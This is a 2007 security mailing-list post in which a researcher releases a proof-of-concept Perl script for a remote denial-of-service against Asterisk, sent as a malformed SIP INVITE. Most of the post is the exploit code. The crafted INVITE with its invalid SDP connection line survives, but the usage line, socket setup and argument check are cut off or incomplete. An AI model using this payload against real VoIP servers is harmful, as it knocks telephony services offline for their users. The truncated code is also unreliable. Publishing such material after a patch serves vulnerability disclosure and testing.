[VOIPSEC] POC: for Asterisk SIP INVITE remote DOS

Radu State state at loria.fr
Sat Mar 24 09:11:25 EDT 2007

Due to many requests for the POC and since most Asterisk systems should have
been patched by now,   please find in this message the POc for our advisory
posted on 




usage  example:


perl  asterisk-Invite.pl 5060 userX 5060 userY






use IO::Socket::INET;

die "Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>" unless


$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],




$msg="INVITE sip:$ARGV[2]\@$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia: SIP/2.0/UDP
<sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nContent-Type:
application/sdp\r\nCSeq: 01 INVITE\r\nContent-Length:
187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4 $ARGV[3]\r\ns=session\r\nc=IN
IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0 0\r\nm=audio 13956 RTP/AVP 0 4 3
8 111 5 10 7 18 110 97 101\r\na=rtpmap:98 speex/16000\r\n\r\n";



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